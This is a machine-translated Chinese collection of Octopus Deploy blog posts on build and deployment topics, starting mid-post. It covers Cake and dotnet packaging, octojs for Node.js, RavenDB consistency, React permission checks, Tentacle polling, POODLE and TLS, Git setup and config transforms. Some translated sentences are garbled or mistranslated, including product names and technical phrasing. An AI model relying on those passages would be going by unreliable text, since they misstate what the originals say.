现在是抓住你的时候了。第一个与恢复任务有关，并不是应用程序包构建所真正需要的。如果您正在构建一个库包，并且您的解决方案中有多个相互引用的项目，那么它会让您措手不及。这种情况下的不同之处在于，您可能也想使用dotnet pack而不是dotnet octo pack，它将为每个库项目文件生成一个 NuGet 包，而不是一个单独的包文件。如果您在进行dotnet restore时没有包括版本号，那么多个包之间的依赖关系将以错误的版本号结束。这是dotnet不做蛋糕的行为。
第二个陷阱与在 __Publish 任务中传递的--no-build参数有关，这一个确实与应用程序包有关，并且会悄悄地抓住你。如果您没有传递这个参数，为了确保安全，dotnet publish将再次运行构建，但是不会包含您传递给原始构建的版本参数。因此，这是浪费时间和精力再次建设，并在此过程中失去的东西😦如果你弄错了，你仍然会得到一个有正确版本的包，但是其中的二进制文件会有错误的版本，而且你可能不会注意到这一点，直到有什么地方出错了。
在这个例子中，我使用了 GitVersion ，并包含了一个如何将派生版本推回 TeamCity 的例子，如果它碰巧在 TeamCity 运行的话。为了在 VSTS 实现这一点，你最好的办法是从市场上获取 GitVersion 任务，并将其作为第一步添加到你的管道中(还要将内部版本号格式设置为$(GITVERSION_FullSemVer)，在 GitVersion 文档中有更多关于这方面的信息)。TeamCity 或 VSTS 的设置被简化为一个调用 Cake 来运行脚本的步骤。如果您已经遵循了 Cake 的入门指南，您将拥有所需的引导脚本，并且您的步骤将不得不最终执行如下内容:
build.ps1 -octopusServer=http://yourserverurl -octopusApikey=yourapikey
dotnet octo安装
我在这篇文章的开头就说过:
这些概念同样适用，不管构建机器本身是否具有完整的。NET 框架或者。网芯。
这是真的。概念是一样的。不过，我知道有一种机械装置会让人昏昏欲睡，那就是 Octo。Net CLI 扩展安装。
如果你使用团队城市或 VSTS 步骤，你不需要担心这一点；我们的分机可以确保为您完成安装。
当你使用 Cake 时，你必须确保自己安装了dotnet octo。根据您的场景，您有几个如何做到这一点的选项。
一种选择是全局安装(dotnet tool install Octopus.DotNet.Cli -g)。如果您可以在宠物代理或牲畜代理映像上预安装，并且对共享代理的构建(牲畜代理仍然可以存在并在它们存在时服务多个构建)不需要冲突版本的 CLI 扩展感到满意，这就可以工作。
另一个选择是安装到一个相对于构建工作文件夹的文件夹中(例如dotnet tool install Octopus.DotNet.Cli --tool-path octoTools)。这个方法的诀窍是文件夹(octoTools)也必须在路径中结束，否则dotnet看不到它。
包扎
呜哇！你坚持到了最后，谢谢你！这确实是一个比我最初预期的要大得多的帖子，但这是我们被问到的一些问题，所以希望这将对你们中的一些人有所帮助。
一如既往，如果您有任何问题或反馈，请在下面告诉我们。
更新 2019-02-11:在这个帖子发布后不久，照看蛋糕章鱼工具的美好的人们发布了一个更新，所以它利用了章鱼 dotnet CLI 扩展。蛋糕脚本示例已更新为使用OctoPack和OctoPush。
打包 Node.js 应用程序- Octopus Deploy
Node.js 已经成为近年来最热门的编程语言之一。JavaScript 已经连续几年在栈溢出开发者调查中被评为最受欢迎的编程语言，不难看出为什么。
JavaScript 作为 web 前端语言无处不在，这意味着无论开发人员来自 Java、C#还是 Ruby 背景，都可以使用和理解它。已经了解 JavaScript 的开发人员的数量意味着社区中挤满了各种可能需求的库和框架，因此有理由认为将它用于服务器端项目通常是正确的方法。
事情出错了
出于某种原因，当从编译语言转向脚本语言时，许多程序员似乎把他们的好习惯扔在了门外。在 Node.js 应用程序(或使用 Node.js 作为开发环境的纯 JavaScript 应用程序)中，开发人员将他们的代码提交给 GitHub，然后将源代码直接从 GitHub 拖到他们的生产服务器上，后面跟着一个npm install和<grunt|gulp|webpack> build，这种情况太常见了。通常，他们足够勤奋地编写测试，但决定在每次部署时重新构建应用程序更容易。这可能会导致几个问题。
依赖版本控制
通过在您的packages.json文件中使用 semver 范围，您可能会遇到这样的情况:您的配置要求某些包依赖项需要与版本~4.17.2匹配，因此您的开发机器关闭了4.17.3，针对4.17.4运行了测试，并且在部署产品时，库作者已经进行了另一次更新，并且您的产品软件正在运行4.17.9。我再说一遍，生产中！有很多这样的例子，库作者偶然地(或者没有意识到他们的改变的影响)用相应的版本碰撞来推动突破性的改变，由于广泛的版本匹配导致消耗代码崩溃。在node_modules中可能出现的复杂依赖链加剧了这个问题。例如，当一个显式依赖的模块 A 依赖于模块 B 的某个版本范围时，模块 B 本身依赖于一堆其他模块的某个版本范围。记住当你运行npm install时，不仅仅是你的模块被动态确定和解析。
npm 5 中引入的 package-lock 特性在一定程度上缓解了这个问题。确保将这个文件提交给源代码管理。
部署成功在您的控制之外
每次部署应用程序时，您都在下载新的、潜在的未经测试的依赖项！这是假设一切顺利。尽管 npm 不再支持将新文件推送到现有版本，但我听说过不止一次生产发布失败的情况，因为由于 npm 暂时关闭或网络问题，包无法下载。这种安装失败通常伴随着覆盖旧版本，导致服务器在恢复对 npm 的访问之前实际上毫无价值(或者更糟)。在一个案例中，每当用户的 AWS Elastic Beanstalk 在现有服务器场负载过重的情况下试图启动新的 web 服务器时，用户就执行这个全新安装过程。由于 npm 服务器本身经历了停机，新的服务器无法上线，并且无法处理一些流量，最终导致现有的、以前很好的网站关闭。这是在之后的*，最初的部署已经在成功了很多天，并且相同的产品版本被部署到新的服务器上。*
打包 Node.js 应用程序
希望我们都同意 JavaScript 应用程序应该像其他编译语言一样被对待，并在构建时打包成一个可部署的工件。
假设我们正在开发 RandomQuote-JS 虚拟应用程序，一个简单的构建步骤可能是:
> npm install
> gulp build # insert build tool of choice
> zip -r ../RandomQuotes.1.0.zip .
# ../RandomQuotes.1.0.zip created (5.2 MB)
然后，可以在我的生产服务器上提取生成的 zip 文件，使应用程序可以按原样运行。然而，在本例中，我们压缩了整个应用程序目录，其中大部分包含我用于调试和编译的各种库。一旦所有的东西都构建好并准备好在生产中运行，我就不需要所有的 typescript 编译器、webpack 库和测试框架了，但是我们如何将开发时依赖项与生产依赖项分开呢？
如果您运行 npm prune --production ，npm 将从node_modules中移除在package.json的devDependencies部分中指定的所有包。即使您不使用我们的工具，我也建议您在将整个项目文件夹压缩到 CD 系统的归档文件中之前运行这个命令，无论您选择的部署工具是 Octopus Deploy、VSTS、Chef 还是一些手动过程。
为了使这个过程更简单，Octopus Deploy 发布了一个 Node.js cli 工具 octopjs，用于创建 zip(或 tar.gz)归档文件，而不必执行修剪步骤。默认情况下，使用项目的package.json中的名称和版本来生成包名；但是，这些值都可以被覆盖。Octojs可以通过控制台直接使用，也可以作为构建过程的一部分导入并在代码中使用。
通过命令行打包
使用该工具最简单的方法是全局安装它:
> npm install -g @octopusdeploy/octojs
现在，从任何项目内部都可以调用octojs来打包应用程序。假设我们的项目刚刚构建并经过测试，打包应用程序就像下面这样简单:
> octojs pack -O C:\Bin --gitignore --dependencies prod
Created package C:\Bin\RandomQuotes.1.0.0.zip (1.66 MB)
生成的包的大小现在小了很多，包 ID 和版本是从项目本身生成的。有了现在生成的包，我们可以将它直接推送到 Octopus Deploy 内置提要进行部署:
> octojs push --package C:\Bin\ramdomquotes.1.0.0.zip --server http://octopusserver.acme.com --apiKey API-F2K29BA08AA123
Push response 201 - Created
通过代码打包
或者，您可以使用同一个库来打包您的项目，并一步一步地完成代码:
var octo = require("@octopusdeploy/octojs");
octo.pack({dependencies: 'prod', bypassDisk: true, root: "."},
(err, data) => {
console.log("Uploading package: "+ data.name);
octo.push(data.stream, {
apiKey: 'API-F2K29BA08AA123 ',
server: 'http://octopusserver.acme.com',
name: data.name
}, () => console.log("Uploaded"));
}
})
.append('hello.txt', new Buffer('This Is An Additional File'))
.finalize(true);
让我们开始把 Node.js 当作一门严肃的语言来对待
Node.js 是一门严肃的语言，所以我们需要在我们的 CD 管道中严肃对待它。这意味着下载依赖项并在构建服务器上构建(或传输)一次，然后将结果和依赖项打包到一个自包含的部署包中。Octopus JS 库可以在这方面提供帮助，但最终您使用什么工具来打包和部署您的应用程序并不重要，重要的是它只需构建一次，就可以在您的环境中部署。
*更新:*查看最近的一篇文章，在这篇文章中，我提供了一些如何在部署时获得特定于环境的配置的例子。
了解更多信息
RavenDB - Octopus 部署中的感知一致性
原文：https://octopus.com/blog/perceptual-consistency-in-ravendb
在“ UI 设计的最终一致性”中，我写了我们通常如何得到这样的错误报告:
我转到“添加机器”页面，输入机器信息，单击保存，但是当我转到“环境”页面时，我的机器没有列出。几秒钟后，我点击刷新，它就在那里。
这是 Raven 使用异步索引的结果。作为一名使用 RavenDB 的开发人员，你应该拥抱最终一致性。有一些常见的模式可以处理这种情况，例如:
- 您可以将“添加机器”请求作为一个命令接受，并将其排队等待处理，然后在处理完成时重定向用户；或者，
- 您可以将新机器存储在中间缓存中，并在查询列表时包含它
当你的操作是“提交一个银行交易退款请求”时，这是有意义的。但是当你有一打不同的文档类型，你需要一点 CRUD，而你又不是网络规模的时候，坦白地说，这些模式是多余的。
所以在我的天真中，Octopus 1.0 被分散了:
.Customize(x => x.WaitForNonStaleResultsAsOfNow())
这当然有问题，对于 Octopus 2.0，我决定接受 Raven 最终的一致性。
首先，我让 REST API 返回一个标志，指示查询结果是否过时。然后，我们的 UI 会呈现一条消息来通知用户，或者在一秒钟后自动刷新以尝试获得非陈旧的结果。虽然它让用户界面感觉更快，但有点不协调。
然而，当构建一些命令行工具来使用 API 时，我意识到大多数时候，这些工具宁愿等待非陈旧的结果。因此，它成为了一个标志(例如，/api/environments?nonStale=true)，作为 URI 模板的一部分提供。这个引起了一些争论；毕竟，客户应该能够要求这样的事情吗？
知觉一致性
我对这两种解决方案都不满意，我觉得没有好的折中方案。然后我偶然发现这个帖子，克里斯·马里斯克提出了一个巧妙的建议(重点是我的):
您想写这个记录，然后在同一个请求中用 waitfornonsaleresultsasoflashwrite 查询那个索引，然后在索引同步后将用户重定向到列表。这避免了使普通的操作读总是等待，而使不普通的操作写必须等待。
我以前从未见过这个建议，但我认为它很棒。我认为这是“感知一致性”，或者“每个用户的一致性”。
它的意思是，在 Octopus REST API 中，当您执行 PUT/POST/DELETE 时，我们将在返回成功之前等待索引不陈旧(至少一小会儿)。因此，当您点击“创建机器”时，您可能会看到一个轻微的停顿。但是当您被重定向并执行 GET 时，请求者不会等待非陈旧结果。您不会在意，因为当您被重定向时，索引已经足够新，可以包含您刚刚添加的机器。太棒了。
我们仍然会在查询结果上提供 non-stale 标志来指示 GET 请求的结果是否过时，但是没有办法告诉 API 是否要等待非过时的结果。从用户界面的角度来看，你总能看到一致的结果。
Octopus React UI 权限- Octopus 部署
作为我们在 Octopus 4.0 中 UI 革新的一部分，我们将从 Angular 改为 React ，一些很棒的背景细节在那篇文章中有所介绍。
Octopus 具有广泛的功能集。伴随着广泛的功能，还有一个复杂的基于角色的访问权限系统，它已经发展到支持限制用户可以看到什么和做什么。许多客户选择避免调整权限，并作为一组具有完全访问权限的管理员进行操作。对于许多组织来说，这是不合适的，他们选择了对团队和团队成员所能看到和做的事情进行细粒度的控制。
我们半开玩笑半认真地想完全去除细粒度的权限和大量基于角色的分组，并将客户推向章鱼内部的简化读写模型。除了一些例外情况，如围绕敏感数据密码、私钥等提供安全性。
但那会激怒成千上万的顾客。
在这篇博文中，我想分享为什么我们这些维护权限系统并与之交互的人喜欢在 Octopus 中梦想一个权限远为简单的世界。
在这篇文章中
访问权限背景
当前基于角色的访问控制系统是如何演变成现在这个样子的，历史悠久。最初，我们将其建模为防火墙，并试图阻止对受限项目的访问。不久之后，它演变成一组用户可以做的动作，这些动作被限定在一组项目、环境和租户的范围内。当用户尝试执行某项操作时，我们会计算他们是否拥有对他们尝试操作的资源的适当权限，例如，将 ABC 项目部署到暂存区。
我失去你了吗？我希望不会。稍后我会在基于角色的访问控制部分给出更多的细节。
关键的一点是，Octopus 中的当前系统有一个重要的学习曲线，有细微差别，最重要的是，它被广泛使用，我们的客户进行了大量投资。
许多客户花费了大量精力为其庞大的用户群微调权限。这意味着许可系统目前的能力有很大的价值，也意味着我们不能彻底改变它，或者减少它的读写权限。
我们对更简单的许可系统的梦想来自于减少许可代码库某些方面的维护的愿望。在排除了完全移除它以及对它所能做的任何重大破坏之后，这给我们留下了安全合理的第三种选择。
使它目前做的事情更容易推理，使代码更好维护，并减少重复代码。
从角度用户界面到反应用户界面
Angular UI 由客户端代码演变而来，用于检查权限；该代码本质上断言用户有足够的特权来查看某些内容。同时，API 用自己的代码断言同样的事情，如果用户请求他们不能访问的数据或试图执行他们不能执行的操作，将返回 401 响应。
作为 Octopus 4.0 的一部分，对我们使用权限的方式进行重大更改不在范围之内，所以这是 Angular 代码中逻辑的一个紧密的一对一端口。如果我们没有正确地编写权限断言，Angular 代码将会无声无息地失败。这意味着，它更加宽容，在这种情况下它不会做任何事情。
在 React 和 TypeScript 的世界中，如果我们犯了一个错误，没有考虑正确的访问权限检查输入，那么当子组件试图呈现和操作它们期望在那里的数据和属性时，UI 将会崩溃。
Octopus 数据和功能的真正守护者是 API。在 4.0 中没有重大变化，因此，我们知道我们不会暴露信息或允许用户执行他们不能执行的操作。最糟糕的事情将会发生(也确实发生了),那就是用户界面会崩溃，变得不可用。这意味着我们必须把它做好，而且需要做大量的 bug 修复工作。
补丁，补丁，补丁
在 4.0 的最初几个补丁发布中，在早期采用者的帮助下，我们找到了在 alpha 和 beta 测试中遗漏的边缘案例。如果您查看发行说明，4.0.x 分支中的前 11 个补丁中有一半都有与权限相关的修复。对于受影响的客户，我们提供了解决方案或快速补丁，但它们通常是令人无法忍受的错误。与所有主要变化一样，特别是全新的 UI，我们预计会有我们在发货时遗漏的错误，到 4.0.11，当考虑复杂的访问权限组合并在 UI 中迎合它们时，UI 与版本 3 中一样稳定。
在我们发布补丁时，React 和 TypeScript 继续为我们带来回报，特别是当我们调整布局以匹配我们没有考虑到的情况的访问权限时，这给了我们重构的信心。
React 用户界面错误
这些错误分为三类:
- 我们移植过来的老错误
- 全新的错误
- 新的用户界面意味着权限需要更多的思考
前两个很简单，通过仔细检查和客户报告，我们可以发现旧代码中的错误，并确保它在新代码中是正确的。新的错误是类似的，因为我们只是在如何做访问权限检查和报告表单方面犯了一个错误，客户也是关键。
第三类是最耗时的，在少数情况下，它涉及一组特定的用户角色和权限(我们在测试中没有遇到过),以及显示数据和操作的不同结构如何无法应对。这包括根据用户角色和作用域组合，调整 API 调用的方式和时间，以及导致崩溃的 react 组件的层次结构。
基于角色的访问控制
为了全面描述 Octopus 中的用户角色以及它们是如何驱动访问权限的，我们将安全权限列表分组到用户角色中，这些用户角色与在 Octopus 中执行任务的常见访问中断方式相一致。如果您使用我们内置的用户角色来控制安全性，并且您只是简单地确定它们的范围，那么您不太可能碰到 React UI 权限代码的边缘情况。
它是为那些已经为他们的用户精心设计了非常严格的权限配置的客户准备的，在这种情况下会出现边缘情况。这类客户拥有经过微调的用户角色，以最大限度地减少用户可以做的事情。在撰写本文时，我们有 103 个这样的权限角色。是的，103，它们的作用范围各不相同，从全局(无)到项目、项目组、环境和租户。这转化为大量的访问权限排列(比方说，快 3 倍)。显示 React UI 的某些部分所需的权限之间也有不明显的联系，即使您每天都在使用访问角色，每次您以细粒度的方式调整访问权限时，都需要进行大量的测试和调整，直到您做对为止。
我们将在不久的将来解决这种可用性和配置复杂性。
用户界面访问权限代码
典型的例子是，您正在访问一个项目，您进入概览屏幕，我们会向您显示每个相关环境的版本，当启用了租赁部署时，我们还会显示租户。对于页面层次结构中的每个组件，我们需要考虑项目、环境和(可能)租户。
这是我们的包装 React 组件，用于检查您是否可以部署:
<PermissionCheck
permission={Permission.DeploymentCreate}
project={projectId}
environment={environmentId}
tenant={tenantId}>
<NavigationButton label="Deploy" href={deployUri} />
</PermissionCheck>
在 4.0 UI 中，到处都有 react 访问控制组件，这是一个好处，我们可以清楚地告诉你为什么你看不到一些东西，那就是 call out 元素和文本。
<PermissionCheck
permission={Permission.LifecycleView}
alternate={
<Callout type={CalloutType.Information}>
The {Permission.LifecycleView} permission is required to view the deployments
</Callout>
}>
...
</PermissionCheck>
一旦你习惯了，就没问题了，但是它有很大的出错空间，输入是文档 id 和字符串，它们很容易被应用到错误的过滤器。一些更好的类型安全可以缓解这种情况。如果这已经解决了，下一个重大挑战仍然存在；实际编写代码并确保它在正确的位置。
UI 中有相当多的代码重复了我们必须在服务器端检查的内容。我在我们的代码中搜索了这篇博文，我们在 61 个 TSX 文件中使用了 96 次<PermissionCheck />，在 45 个 React TSX 和 TypeScript 文件中使用了 137 次isAllowed()。
这就引出了这个计划...
前进
我们正在进行一些工作来更好地配置基于角色的访问权限，以确保我们的客户在尝试利用权限来管理他们的用户可以看到什么和做什么时落入成功的陷阱，当然也不会中断或导致现有客户的大量新工作。这项工作符合我们在 2018 年路线图中讨论的空间特征。
计划的第一部分是清理并简化服务器端权限的测试，使其更健壮，更容易用于驱动 UI。我们的目标是定义可以对 API 返回的资源执行什么操作，这样我们就不需要 React 中的大部分额外代码了。更少的代码意味着更多的安全，更少的维护，让我们有更多的时间去开发更重要的功能。
API 驱动的权限的另一个受益者将是利用我们的 API 的其他应用程序，如 iOS OctoWatch 如果你对它感兴趣，这里有一个我们的TL；DR 视频)涵盖了它的创建和使用 React Native 的开发。
包裹
回到让 Octopus API 驱动的焦点上，我们将尽可能多地移除客户端权限检查，以支持通过从 API 返回的数据来驱动 UI。
在接下来的几周里，我们将继续关注更多关于共享空间和权限的帖子。
2.0 中的新功能:轮询触须-章鱼部署
我们在 Octopus Deploy 2.0 中所做的最复杂的改变之一是为触角引入了轮询模式。你可以在文档中了解更多关于什么是轮询模式，以及如何在轮询模式下设置触手:
轮询模式的好处是你不需要在触手端做任何防火墙的改动；你只需要允许访问 Octopus 服务器上的一个端口。
虽然一些部署产品总是以“代理拉”模式工作——代理需要与中央部署服务器直接通信。其他人在“代理监听”模式下工作。Octopus 现在可以在或者模式下工作。
可以想象，这涉及到内部的一些大的变化。在 1.0 中，每当 Octopus 需要告诉触手做什么事情时，它只会调用一个操作并等待结果。但是当触手在轮询时，那就不行了。相反，我们(我说的我们是指 Nick )建立了一个基于消息的定制通信栈。Octopus 或 Tentacle 可以将发送给对方的消息排队，当连接建立后，通信栈会负责传递消息。
新的通信堆栈使用 SSL 和客户端证书来执行加密，因此无论哪个服务在侦听哪个服务在轮询，它都一样安全(相同的双向信任模型仍然有效)。
SSL 3.0“狮子狗”和 Octopus 部署- Octopus 部署
有一个新发现的名为 POODLE 的安全漏洞:
上述攻击需要建立 SSL 3.0 连接，因此在客户端或服务器(或两者)中禁用 SSL 3.0 协议可以完全避免这种攻击。如果任何一方只支持 SSL 3.0，那么所有的希望都没有了，需要一个严肃的更新来避免不安全的加密。如果 SSL 3.0 既没有被禁用，也不是唯一可能的协议版本，那么如果客户端使用降级舞蹈来实现互操作性，则攻击是可能的。
正如我们在 Heartbleed 和 Octopus Deploy 的帖子中所讨论的，我们使用。NET framework 的SslStream类，用于在 Octopus 部署服务器和触手部署代理通信时建立安全连接。
创建SslStream时，指定要使用的协议。。NET 4.0 支持 SSL 2.0、3.0 和 TLS 1.0 。。NET 4.5 支持 SSL 2.0、3.0 和 TLS 1.0、1.1 和 1.2 。
有趣的是，默认的协议值(在两者中。NET 4.0 和 4.5)是Tls | Ssl3。换句话说，TLS 1.0 是首选，但是如果客户机/服务器只支持 SSL 3.0，那么它将会退回到那个版本。正如本文所讨论的，即使您的客户机/服务器支持 TLS，这也是一个问题，因为攻击者可以强制降级。
但是有一个好消息——在 Octopus 中，当我们构造我们的SslStream时，我们指定了要使用的协议—,我们特别限制了与 TLS 1.0 的连接(Octopus 运行于。NET 4.0 所以我们还做不到 TLS 1.1/1.2)。由于我们同时控制了客户端和服务器，所以我们不需要担心退回到 SSL 3.0，所以我们不允许这样做。
我们实际上已经做了很长时间了。2013 年 1 月，我们发布了一个名为 Halibut 的开源项目，这是一个原型，最终演变成了我们在章鱼和触手之间使用的通信堆栈。即使在那时，我们也明确表示只支持 TLS:
ssl.AuthenticateAsServer(serverCertificate, true, SslProtocols.Tls, false);
Octopus web 门户(用于管理 Octopus 服务器的 HTML web 前端)的情况略有不同。门户托管在 HTTP.sys 之上，http . sys 是 IIS 背后的内核模式驱动程序。开箱即用的门户使用 HTTP，但是如果您喜欢的话，您可以将您的 web 门户配置为通过 HTTPS 可用。
据我所知，IIS 和 HTTP.sys 使用 SChannel 支持的任何协议，这意味着它们将允许 SSL 3.0。看起来需要改变注册表来禁用 SChannel 中的 SSL 3.0，以防止 IIS/HTTP.sys 使用它。
微软也有一个安全顾问，使用组策略来禁用 SSL 3.0，但它似乎专注于 Internet Explorer 而不是 IIS。
TL；章鱼/触手的交流不受狮子狗的影响。门户网站(如果你在 HTTPS 公开它)可能是，就像你在 HTTPS 使用 IIS 服务的任何其他网站可能是。
和往常一样，特洛伊·亨特对狮子狗臭虫有一篇很好的报道。
Selenium 系列:填充 Git repo - Octopus 部署
原文：https://octopus.com/blog/selenium/20-populating-the-git-repo/populating-the-git-repo
这篇文章是关于创建 Selenium WebDriver 测试框架的系列文章的一部分。
我们已经讨论了代码库，在这篇文章中，我们将注册 GitHub，这是一个免费的服务，提供托管的 Git 代码库，我们可以用它来管理我们的代码。
首先，打开https://github.com。在主页上，你会看到一个表格，在那里你可以注册一个免费帐户。
输入用户名、电子邮件地址和密码，然后点击Sign up for GitHub按钮。
选择Unlimited public repositories for free选项，点击Continue按钮。
我们现在不需要个性化 GitHub，所以点击skip this step链接。
现在我们已经创建了一个新的 GitHub 帐户。您将会收到一封发送到您注册地址的电子邮件。电子邮件中有一个链接，您需要点击它来验证您的电子邮件地址。
单击链接后，您可以通过单击Start a project按钮创建一个新的 Git 存储库。
给你的库起一个名字(我在这里用了名字WebDriver，选择Public选项，然后点击Create repository按钮。
我们创建一个公共存储库是很重要的，因为 GitHub 和 Travis CI 都为公共存储库提供免费计划。这意味着我们可以免费创建 CI 渠道。
随着存储库的创建，我们现在有了一个可以用来检入代码的 URL。在我的例子中，网址是 https://github.com/matthewcasperson/WebDriver.git。
我们现在有了一个空的 Git 存储库，可以用我们的代码填充了。IntelliJ 对处理 Git 存储库中的代码有很好的支持，所以我们将使用 IntelliJ 创建一个本地 Git 存储库，并将其链接到我们刚刚在 GitHub 中创建的存储库。
在加载 WebDriver 项目的情况下打开 Intellj。然后点击 VCS ➜启用版本控制集成...
选择Git作为要使用的版本控制系统，点击OK按钮。
这将在保存当前加载的项目的目录中创建一个本地 Git 存储库。这个 Git 存储库可以完全独立于我们在 GitHub 中创建的远程存储库运行，但是为了使用像 Travis CI 这样的 CI 工具，我们需要将本地 Git 存储库和 GitHub 中托管的远程存储库链接在一起。这是通过将 GitHub 配置为远程存储库来实现的。
要添加远程存储库，请单击 VCS ➜ Git ➜远程...
单击加号图标添加新的远程存储库。
保留默认名称origin。
对于 URL，我们需要使用 GitHub 提供给我们的 URL 的稍微修改的版本。如果您还记得，当我们在 GitHub 中创建 Git 存储库时，我们被赋予了 URL https://github.com/matthewcasperson/WebDriver.git。这是我们需要在这里输入的 URL，但是进行了修改，在 URL 中包含了 GitHub 用户名。这是通过在https://后添加用户名和 at 符号来实现的。在我的例子中，输入的 URL 是https://matthewcasperson@github.com/matthewcasperson/WebDriver.git。
在这里添加用户名意味着我们可以将代码推送到远程存储库。没有用户名，这个存储库将是只读的，我们不能使用 IntelliJ 来签入任何更改。
点击OK按钮保存更改。
点击OK按钮关闭Git Remotes对话框。
您会注意到，现在组成我们项目的文件以红色显示。这表明这些文件还没有添加到 Git 存储库中。
一般来说，我们希望将所有的源代码文件添加到 Git 存储库中。此外，虽然我们的项目目录中也有许多由 IntelliJ 为自己的配置创建的文件。IntelliJ 提供了一些关于将哪些文件签入存储库的建议，网址为https://IntelliJ-support . jetbrains . com/HC/en-us/articles/206544839:
- 项目根目录中
.idea目录下的所有文件，除了中存储用户特定设置的workspace.xml和tasks.xml文件。 - 所有可以位于不同模块目录的
.iml模块文件(适用于 IntelliJ IDEA)。
为了防止某些文件被添加到 Git 存储库中，我们需要创建一个名为.gitignore的文件。这个文件列出了我们目录中 Git 不应该添加到存储库中的那些文件。
右键单击顶层项目文件夹，选择新建➜文件。
输入文件名.gitignore并点击OK按钮。
IntelliJ 检测到我们正在创建一个新文件，并询问我们是否要将它添加到存储库中。我们希望默认添加新文件，所以单击Remember, don’t ask again选项，然后单击Yes按钮。
在.gitignore文件中，我们列出了不应该添加到 Git 存储库中的两个文件。确保保存更改。
您的目录中可能还没有这两个文件。可以在.gitignore文件中列出不存在的文件。
右键单击顶层项目文件夹，选择 Git ➜添加。这将把除了那些在.gitignore文件中的文件之外的所有文件添加到存储库中。
现在所有的文件都是绿色的，除了.idea/workspace.xml。这个文件是我们添加到.gitignore文件中的一个，所以还没有添加到存储库中。
既然我们已经将文件添加到了存储库中，我们希望将它们签入。为此，我们右键单击顶层项目文件夹并选择 Git ➜提交目录。
在Commit Changes对话框中，选择所有文件。然后添加提交消息。稍后可以使用该消息来了解提交时做了哪些更改，这对审计很有用。最后，点击Commit按钮右侧的箭头，并点击Commit and Push按钮。
Push Commits对话框将显示我们想要推送到 GitHub 上的远程存储库的变更列表。点击Push按钮进行更改。
系统会提示您提供 GitHub 密码。输入密码并点击OK按钮。
如果此时您得到一个错误消息，说推送失败，这可能是因为您在添加远程存储库时输入的 URL 没有嵌入 GitHub 用户名。
推送操作完成后，您将看到一条消息。
回到 GitHub 中的存储库，我们可以看到文件被推送到远程存储库。
使用源代码控制库通常被认为是良好的实践，因为它允许跟踪和审计变更，使您能够识别导致问题的代码，并在需要时撤销那些变更。GitHub 提供的托管 git 存储库意味着您的代码也备份在另一个位置，并且可以与从事同一项目的开发人员团队共享。将代码存储在 GitHub 中可以方便地与其他服务集成，在下一篇文章中，我们将链接 GitHub 和 Travis CI 来构建我们的代码，并在每次签入时自动运行我们的测试。
这篇文章是关于创建 Selenium WebDriver 测试框架的系列文章的一部分。
如何使用 PowerShell 脚本模块...在 Linux 上——Octopus 部署
Octopus Deploy 支持可重用的 PowerShell 脚本模块，这些模块可以包含在所有项目的部署中。当脚本模块包含在项目中时，它将自动可供在 Windows 上运行的 PowerShell 脚本使用。您还可以在 Linux 上运行您喜欢的 PowerShell 脚本模块，但是它们不会自动提供给 Linux 脚本上的 PowerShell。虽然我们计划在 Linux 上提供一流的 PowerShell 支持，但下面是让它们工作的技巧。
在本例中，我们将使用一个名为Say Hello的脚本模块，其内容如下:
function Say-Hello($name)
{
Write-Output "Hello $name. Welcome to Octopus!"
}
如需在 Octopus 中创建脚本模块的帮助，请遵循文档中的说明。
我们将使用一个名为PowerShell modules on Linux的项目，它包含了Say Hello脚本模块。我们的部署流程包括一个从 PowerShell 调用Say-Hello方法的Run a Script步骤。我们天真的 bash 脚本应该是这样的:
pwsh -Command "Say-Hello"
如果我们尝试运行此脚本，我们会遇到一条错误消息，指出脚本模块尚未加载:
术语“Say-Hello”不被识别为 cmdlet、函数、脚本文件或可运行程序的名称。
脚本模块的内容可用于名为Octopus.Script.Module[Say Hello]的 Octopus 变量中的步骤。为了在我们的 bash 脚本中使用脚本模块，我们将检索内容，将它们保存到一个文件中，然后在我们的 PowerShell 脚本中导入它们。为了简单起见，我们将模块保存到/tmp文件夹中——PowerShell 的Import-Module需要一个绝对路径。下面是导入模块后 bash 脚本的样子:
say_hello_module=$(get_octopusvariable "Octopus.Script.Module[Say Hello]")
echo "$say_hello_module" > /tmp/SayHello.psm1
pwsh -noprofile -Command "&Import-Module /tmp/SayHello.psm1; Say-Hello World"
当我们运行脚本时，我们的模块被导入，我们看到了预期的输出:
你好世界。欢迎来到章鱼！
现在，您可以在 Windows 和 Linux 上重用 PowerShell 脚本模块库。
配置转换的力量- Octopus Deploy
原文：https://octopus.com/blog/power-configuration-transformations
根据要部署到的环境执行不同的配置转换是一种常见的情况。比如:Web.config开发、测试、生产可能需要不同的值。Octopus 配置转换特性通过在部署到开发时寻找Web.Development.config并将适当的配置转换应用到Web.config来自动支持常见场景。虽然这对大多数人来说很好，但有时需要指定自定义规则并进行条件转换。
自定义配置转换
在部署过程中编辑“部署 Nuget 包”步骤时，可以指定将在部署期间执行的附加配置转换。
您可能希望应用 Octopus 无法自动识别的变换:
MyCustomTransform.config => Web.config
这条规则会用MyCustomTransform.config变换Web.config。
配置转换规范支持章鱼变量。这允许在文件名与规则规范匹配时应用自定义转换。例如，您可能希望在每个环境中应用非标准配置转换:
MyCustomTransform.#{Octopus.Environment.Name}.config => Web.config
该规则将查找与当前部署环境匹配的文件，并应用该配置。部署到生产时，MyCustomTransform.Production.config将应用到Web.config。
条件转换
变量替换语法的一个强大特性是对条件的支持。当与项目变量结合时，指定定制的配置转换会变得非常复杂。考虑蓝绿色部署场景。有两种环境:“生产蓝”和“生产绿”。当两个配置文件Web.Production - Blue.config和Web.Production - Green.config本质上相同时，最好不要维护它们。
一个解决方案是使用一个条件来指定生产转换:
#{if IsProductionEnvironment}
Web.Production.Config => Web.config
#{/if}
然后，使用变量指定哪些环境是生产环境:
默认情况下，变量IsProductionEnvironment被设置为false，并且对于环境“生产蓝”和“生产绿”，其范围为true。当包被部署到任一生产环境中时，将应用Web.Production.Config转换。
结论
使用 Octopus 执行配置转换在大多数情况下会自动发生，但是指定额外转换的能力使该特性更加强大。当与 Octopus 变量结合使用时，配置转换提供了一种灵活的方式来管理每个环境中的设置。
如何为 Octopus Deploy 构建 PowerBI 报告
原文：https://octopus.com/blog/powerbi-report-for-octopus-deploy
最近，我使用 PowerBI Desktop 对从 Octopus Deploy 数据库中提取的一些数据进行了分析。我创建的报告强调了自动化为我的公司节省了多少时间和金钱，这些报告帮助我发现了减缓部署的潜在开发问题；例如，由于在较低级别的环境中没有发现 bug 而跳过了多少次发布。
在这篇文章的最后，我分享了我创建的模板，这样你就不必从头开始了(模板既适用于章鱼云，也适用于自托管章鱼)。希望它们能为您指出正确的方向，帮助您强调自动化可以为您节省多少时间和金钱，甚至证明自动化和测试资源的必要性。
